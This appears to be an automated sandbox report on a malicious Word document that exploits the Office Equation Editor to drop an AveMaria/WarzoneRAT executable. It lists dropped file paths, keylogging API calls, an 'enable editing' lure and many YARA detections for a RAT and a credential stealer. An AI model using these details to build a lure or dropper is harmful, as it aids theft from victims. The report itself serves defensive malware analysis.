Source: EQNEDT32.EXE, 00000002.00000002.910363521.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com9 equals www.linkedin.com (Linkedin)
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.910363521.000000000067F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_009A89D5 GetAsyncKeyState,wsprintfW,GetAsyncKeyState,wsprintfW,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetKeyNameTextW,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,CallNextHookEx,

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

Code function: 5_2_009A902E DefWindowProcA,GetRawInputData,GetRawInputData,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrcpyW,CreateFileW,WriteFile,lstrlenW,WriteFile,lstrlenW,WriteFile,WriteFile,lstrlenW,WriteFile,lstrlenW,WriteFile,lstrlenW,WriteFile,CloseHandle,PostQuitMessage,RegisterRawInputDevices,

E-Banking Fraud

Initial sample is an obfuscated RTF file

Source: Yara match	File source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000003.980052176.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.979964184.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.980132553.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.979955423.00000000004CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1180934477.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1180424961.00000000009B4000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: initial sample

Static file information: Filename: New Order ( MY 01-22-DTHI .doc

Malicious sample detected (through community Yara rule)

Source: New Order ( MY 01-22-DTHI .doc, type: SAMPLE	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 5.3.fiftikmernk852317.exe.4ce9f8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
Source: 5.2.fiftikmernk852317.exe.24389af.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
Source: 5.3.fiftikmernk852317.exe.4cff90.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
Source: 5.3.fiftikmernk852317.exe.4cd188.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
Source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE	Matched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
Source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE	Matched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
Source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AveMaria_31d2bce9 Author: unknown
Source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE	Matched rule: AveMaria_WarZone Author: unknown
Source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
Source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
Source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AveMaria_31d2bce9 Author: unknown
Source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE	Matched rule: AveMaria_WarZone Author: unknown
Source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
Source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AveMaria/WarzoneRAT Author: ditekSHen
Source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AveMaria_31d2bce9 Author: unknown
Source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE	Matched rule: AveMaria_WarZone Author: unknown
Source: 00000005.00000003.980052176.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 Author: unknown
Source: 00000005.00000003.979964184.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 Author: unknown
Source: 00000005.00000003.980132553.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 Author: unknown
Source: 00000005.00000003.979955423.00000000004CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 Author: unknown
Source: 00000005.00000002.1180934477.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 Author: unknown
Source: 00000005.00000002.1180424961.00000000009B4000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 Author: unknown

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: enable editing to open in readable fomat??7!?:\|"$]?79#3~[\|n,"3++:&'^?9?1?,0* !^+[72"!(98,?1'47;
Source: Screenshot number: 8	Screenshot OCR: enable editing to operi inmddbl' i / 1/ [ fcKulat??7r'1$]??t9#3~[\|j?>"3++:&"?9?l?,0'k"+[72"!(98 ?
Source: Screenshot number: 12	Screenshot OCR: enable editing to open in readable fomat'??7!?:\|"$]?T.%3~[\|-\|'?-,"3H:&'^?12,0*!^+[72"!(98,?1'47;:

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\fifthikmerozx[1].exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_00DD6C40
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_009B1BF8
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: 5_2_02431537
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_01FC1F22

Source: ~WRF{F633E147-4322-4DEF-8D52-47EC935B75D3}.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: fifthikmerozx[1].exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: fiftikmernk852317.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77620000 page execute and read and write
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 77740000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Memory allocated: 77620000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Memory allocated: 77740000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Memory allocated: 77620000 page execute and read and write
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Memory allocated: 77740000 page execute and read and write

Source: New Order ( MY 01-22-DTHI .doc, type: SAMPLE	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 5.3.fiftikmernk852317.exe.4ce9f8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 5.3.fiftikmernk852317.exe.4ce9f8.3.raw.unpack, type: UNPACKEDPE	Matched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 5.2.fiftikmernk852317.exe.24389af.3.raw.unpack, type: UNPACKEDPE	Matched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 5.2.fiftikmernk852317.exe.24389af.3.raw.unpack, type: UNPACKEDPE	Matched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 5.3.fiftikmernk852317.exe.4cff90.2.raw.unpack, type: UNPACKEDPE	Matched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 5.3.fiftikmernk852317.exe.4cff90.2.raw.unpack, type: UNPACKEDPE	Matched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 5.3.fiftikmernk852317.exe.4cd188.1.raw.unpack, type: UNPACKEDPE	Matched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 5.3.fiftikmernk852317.exe.4cd188.1.raw.unpack, type: UNPACKEDPE	Matched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE	Matched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE	Matched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
Source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AveMaria_31d2bce9 reference_sample = 5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b, os = windows, severity = x86, creation_date = 2021-05-30, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AveMaria, fingerprint = 8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0, id = 31d2bce9-3266-447b-9a2d-57cf11a0ff1f, last_modified = 2021-08-23
Source: 5.2.fiftikmernk852317.exe.242053f.4.unpack, type: UNPACKEDPE	Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE	Matched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE	Matched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
Source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AveMaria_31d2bce9 reference_sample = 5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b, os = windows, severity = x86, creation_date = 2021-05-30, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AveMaria, fingerprint = 8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0, id = 31d2bce9-3266-447b-9a2d-57cf11a0ff1f, last_modified = 2021-08-23
Source: 5.2.fiftikmernk852317.exe.9a0000.0.unpack, type: UNPACKEDPE	Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE	Matched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE	Matched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
Source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AveMaria_31d2bce9 reference_sample = 5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b, os = windows, severity = x86, creation_date = 2021-05-30, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AveMaria, fingerprint = 8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0, id = 31d2bce9-3266-447b-9a2d-57cf11a0ff1f, last_modified = 2021-08-23
Source: 5.2.fiftikmernk852317.exe.242053f.4.raw.unpack, type: UNPACKEDPE	Matched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000005.00000003.980052176.00000000004DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 reference_sample = 5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b, os = windows, severity = x86, creation_date = 2021-05-30, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AveMaria, fingerprint = 8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0, id = 31d2bce9-3266-447b-9a2d-57cf11a0ff1f, last_modified = 2021-08-23
Source: 00000005.00000003.979964184.00000000004D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 reference_sample = 5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b, os = windows, severity = x86, creation_date = 2021-05-30, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AveMaria, fingerprint = 8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0, id = 31d2bce9-3266-447b-9a2d-57cf11a0ff1f, last_modified = 2021-08-23
Source: 00000005.00000003.980132553.00000000004DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 reference_sample = 5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b, os = windows, severity = x86, creation_date = 2021-05-30, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AveMaria, fingerprint = 8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0, id = 31d2bce9-3266-447b-9a2d-57cf11a0ff1f, last_modified = 2021-08-23
Source: 00000005.00000003.979955423.00000000004CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 reference_sample = 5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b, os = windows, severity = x86, creation_date = 2021-05-30, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AveMaria, fingerprint = 8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0, id = 31d2bce9-3266-447b-9a2d-57cf11a0ff1f, last_modified = 2021-08-23
Source: 00000005.00000002.1180934477.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 00000005.00000002.1180934477.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 reference_sample = 5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b, os = windows, severity = x86, creation_date = 2021-05-30, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AveMaria, fingerprint = 8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0, id = 31d2bce9-3266-447b-9a2d-57cf11a0ff1f, last_modified = 2021-08-23
Source: 00000005.00000002.1180455880.0000000000AEF000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 00000005.00000002.1180424961.00000000009B4000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AveMaria_31d2bce9 reference_sample = 5767bca39fa46d32a6cb69ef7bd1feaac949874768dac192dbf1cf43336b3d7b, os = windows, severity = x86, creation_date = 2021-05-30, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AveMaria, fingerprint = 8f75e2d8308227a42743168deb021de18ad485763fd257991c5e627c025c30c0, id = 31d2bce9-3266-447b-9a2d-57cf11a0ff1f, last_modified = 2021-08-23
Source: 00000005.00000003.980168722.00000000004CD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
Source: 00000005.00000003.980064261.00000000004D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: String function: 009B0969 appears 48 times
Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe	Code function: String function: 009A35E5 appears 40 times

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_003FB2EE NtQuerySystemInformation,
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_003FB2CC NtQuerySystemInformation,

Source: New Order ( MY 01-22-DTHI .LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\New Order ( MY 01-22-DTHI .doc

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$w Order ( MY 01-22-DTHI .doc

Source: classification engine

Classification label: mal100.phis.troj.spyw.expl.evad.winDOC@9/11@0/2

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Source: C:\Users\user\AppData\Roaming\fiftikmernk852317.exe

